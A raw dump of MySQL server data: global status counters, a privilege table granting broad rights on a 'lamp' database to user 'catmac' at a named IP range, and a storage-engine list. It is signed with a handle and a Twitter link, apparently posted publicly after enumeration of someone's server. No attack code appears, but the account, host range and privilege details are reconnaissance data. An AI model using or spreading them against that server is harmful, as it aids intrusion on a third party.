"COM_SHOW_ENGINE_MUTEX","0"
"QCACHE_TOTAL_BLOCKS","7396"
"HANDLER_READ_RND","36155419402"
"COM_BACKUP_TABLE","0"
"SSL_SESSION_CACHE_MISSES","0"
"COM_RENAME_TABLE","93"
"INNODB_BUFFER_POOL_PAGES_DATA","511"
"COM_SHOW_CHARSETS","146"
"INNODB_BUFFER_POOL_PAGES_TOTAL","512"
"SELECT_RANGE_CHECK","26644"
"OPEN_TABLE_DEFINITIONS","336"
"COM_SHOW_COLLATIONS","181"
"ABORTED_CLIENTS","507623"
"COM_CREATE_FUNCTION","0"
"COM_CREATE_SERVER","0"
"COM_SELECT","220258242"
"COM_EMPTY_QUERY","1"
"COM_SHOW_CONTRIBUTORS","0"
"OPENED_TABLE_DEFINITIONS","20431555"
"COM_CALL_PROCEDURE","0"
"INNODB_DATA_FSYNCS","38372"
"COM_LOCK_TABLES","155403"
"QCACHE_QUERIES_IN_CACHE","1413"
"TABLE_LOCKS_IMMEDIATE","315764519"
"COM_INSERT_SELECT","684183"
"SSL_CONNECT_RENEGOTIATES","0"
"COM_DO","0"
"SSL_VERSION","NULL"
"SLOW_LAUNCH_THREADS","6"
"INNODB_BUFFER_POOL_PAGES_FLUSHED","22998"
"INNODB_ROW_LOCK_TIME_MAX","0"
"COM_ASSIGN_TO_KEYCACHE","0"
"COM_ALTER_PROCEDURE","0"
"COM_RELEASE_SAVEPOINT","481"
"COM_ALTER_SERVER","0"
"COM_SHOW_EVENTS","31"
"QCACHE_LOWMEM_PRUNES","104299855"
"COM_UPDATE","18723363"
"THREADS_RUNNING","3"
"INNODB_DBLWR_WRITES","3662"
"BYTES_SENT","14951569274838"
"TC_LOG_PAGE_SIZE","0"
"SSL_ACCEPTS","0"
"HANDLER_READ_FIRST","14635523"
"COM_DELETE","8910708"
"COM_SHOW_TRIGGERS","3218962"
"KEY_BLOCKS_UNUSED","0"
"SLAVE_RUNNING","OFF"
"COM_STMT_SEND_LONG_DATA","0"
"COM_CHECKSUM","0"
"COM_DROP_SERVER","0"
"COM_SLAVE_START","0"
"COM_SHOW_PROCESSLIST","803"
"INNODB_BUFFER_POOL_READ_AHEAD_SEQ","439"
"INNODB_BUFFER_POOL_WRITE_REQUESTS","404189"
"HANDLER_UPDATE","36774144602"
"COM_XA_END","0"
"QCACHE_HITS","428334025"
"COM_ANALYZE","81"
"INNODB_DATA_READS","2646522"
"COM_SHOW_PLUGINS","146"
"COM_SHOW_VARIABLES","115123"
"SSL_SESSION_CACHE_TIMEOUTS","0"
"SSL_CALLBACK_CACHE_HITS","0"
"COM_ALTER_TABLESPACE","0"
"COM_LOAD","41"
"COM_COMMIT","2817398"
"FLUSH_COMMANDS","198"
"INNODB_ROW_LOCK_WAITS","2"
"HANDLER_READ_PREV","8812909420"
"COM_INSTALL_PLUGIN","0"
"COM_SHOW_MASTER_STATUS","320"
"MAX_USED_CONNECTIONS","494"
"COM_CREATE_TRIGGER","0"
"COM_SHOW_OPEN_TABLES","0"
"COM_DROP_DB","72"
"COM_SHOW_FUNCTION_STATUS","85093"
"COM_SHOW_STATUS","26657"
"COM_CREATE_DB","55"
"SORT_RANGE","24298235"
"KEY_BLOCKS_USED","5846"
"HANDLER_READ_NEXT","463353122525"
"COM_SHOW_CREATE_FUNC","0"
"COM_RESTORE_TABLE","0"
"COM_STMT_EXECUTE","12121"
"COM_DROP_INDEX","1"
"COM_CREATE_TABLE","19385"
"COM_SHOW_COLUMN_TYPES","0"
"QUESTIONS","824790650"
"INNODB_DATA_PENDING_READS","0"
"COM_ROLLBACK_TO_SAVEPOINT","0"
"SSL_SESSION_CACHE_HITS","0"
"COM_SHOW_ERRORS","0"
"TC_LOG_PAGE_WAITS","0"
"INNODB_OS_LOG_PENDING_FSYNCS","0"
"INNODB_BUFFER_POOL_READ_AHEAD_RND","73825"
"INNODB_LOG_WRITES","22111"
"COM_SHOW_TABLES","1106330"
"COM_HA_OPEN","0"
"INNODB_PAGES_CREATED","2403"
"CREATED_TMP_FILES","707376"
"COM_UPDATE_MULTI","40"
"COM_STMT_CLOSE","12061"
"COM_CREATE_INDEX","170"
"COM_INSERT","9744916"
"COM_SHOW_KEYS","7167"
"COM_KILL","0"
"COM_OPTIMIZE","130"
"COM_SHOW_WARNINGS","94"
"INNODB_BUFFER_POOL_PAGES_FREE","0"
"INNODB_ROWS_READ","38090589"
"SLAVE_OPEN_TEMP_TABLES","0"
"INNODB_LOG_WRITE_REQUESTS","121778"
"NOT_FLUSHED_DELAYED_ROWS","0"
"COM_HA_CLOSE","0"
"SLAVE_RETRIED_TRANSACTIONS","0"
"QCACHE_FREE_BLOCKS","1160"
"RPL_STATUS","NULL"
"SORT_SCAN","24788286"
"OPENED_TABLES","24865074"
"SSL_SESSIONS_REUSED","0"
"COM_BINLOG","0"
"COM_TRUNCATE","904"
"COM_SHOW_AUTHORS","0"
"INNODB_PAGES_WRITTEN","22998"
"COM_FLUSH","2046"
"COM_RENAME_USER","0"
"COM_SHOW_CREATE_TABLE","3245830"
"SSL_CTX_VERIFY_MODE","0"
"INNODB_ROWS_DELETED","14178"
"INNODB_BUFFER_POOL_PAGES_DIRTY","0"
"COM_CREATE_EVENT","0"
"INNODB_DATA_WRITTEN","824448000"
"INNODB_OS_LOG_WRITTEN","69218816"
"OPEN_STREAMS","0"
"INNODB_ROWS_INSERTED","23460"
"THREADS_CONNECTED","4"
"HANDLER_READ_RND_NEXT","164665678495"
"TABLE_LOCKS_WAITED","361995"
"COM_SHOW_DATABASES","591"
"COM_SLAVE_STOP","0"
"COM_CHECK","1"
"SSL_CTX_VERIFY_DEPTH","0"
"COM_DROP_EVENT","0"
"INNODB_PAGES_READ","2773971"
"HANDLER_DELETE","23820772"
"COM_SHOW_CREATE_TRIGGER","0"
"COM_DROP_USER","0"
"COM_RESET","0"
"INNODB_OS_LOG_PENDING_WRITES","0"
"COM_CHANGE_DB","35554298"
"PREPARED_STMT_COUNT","0"
"SSL_VERIFY_DEPTH","0"
"COM_LOAD_MASTER_TABLE","0"
"HANDLER_ROLLBACK","7582"
"HANDLER_READ_KEY","141828831384"
"INNODB_DBLWR_PAGES_WRITTEN","22998"
"SSL_FINISHED_CONNECTS","0"
"SELECT_FULL_JOIN","292459"
"COM_ALTER_DB","4"
"SSL_VERIFY_MODE","0"
"INNODB_DATA_PENDING_FSYNCS","0"
"CREATED_TMP_DISK_TABLES","24293194"
"SELECT_FULL_RANGE_JOIN","43365"
"UPTIME","17044027"
"SSL_CIPHER","NULL"
"COM_EXECUTE_SQL","141"
"COM_REVOKE","316"
"INNODB_BUFFER_POOL_READS","2480447"
"COM_ADMIN_COMMANDS","1755424"
"BINLOG_CACHE_DISK_USE","0"
"DELAYED_INSERT_THREADS","0"
"OPENED_FILES","178462609"
"QCACHE_INSERTS","202214415"
"INNODB_DATA_WRITES","44102"
"INNODB_BUFFER_POOL_WAIT_FREE","0"
"COM_DROP_VIEW","0"
"COM_HA_READ","0"
"COMPRESSION","OFF"
"SSL_ACCEPT_RENEGOTIATES","0"
"HANDLER_WRITE","28685224312"
"COM_SHOW_CREATE_DB","408"
"COM_CREATE_PROCEDURE","0"







-----------------SCHEMA_PRIVILEGES------------------

GRANTEE,IS_GRANTABLE,PRIVILEGE_TYPE,TABLE_CATALOG,TABLE_SCHEMA
"'catmac'@'173.236.128.0/255.255.128.0'","NO","LOCK TABLES","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","CREATE VIEW","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","EXECUTE","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","TRIGGER","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","INDEX","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","DROP","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","CREATE ROUTINE","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","CREATE TEMPORARY TABLES","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","ALTER","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","SELECT","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","DELETE","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","SHOW VIEW","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","ALTER ROUTINE","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","UPDATE","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","INSERT","NULL","lamp"
"'catmac'@'173.236.128.0/255.255.128.0'","NO","CREATE","NULL","lamp"








-----------------ENGINES---------------

COMMENT,ENGINE,SAVEPOINTS,SUPPORT,TRANSACTIONS,XA
"Default engine as of MySQL 3.23 with great performance","MyISAM","NO","DEFAULT","NO","NO"
"CSV storage engine","CSV","NO","YES","NO","NO"
"Supports transactions, row-level locking, and foreign keys","InnoDB","YES","YES","YES","YES"
"Hash based, stored in memory, useful for temporary tables","MEMORY","NO","YES","NO","NO"
"Collection of identical MyISAM tables","MRG_MYISAM","NO","YES","NO","NO"








-Neatstuffs
http://www.twitter.com/neatstuffs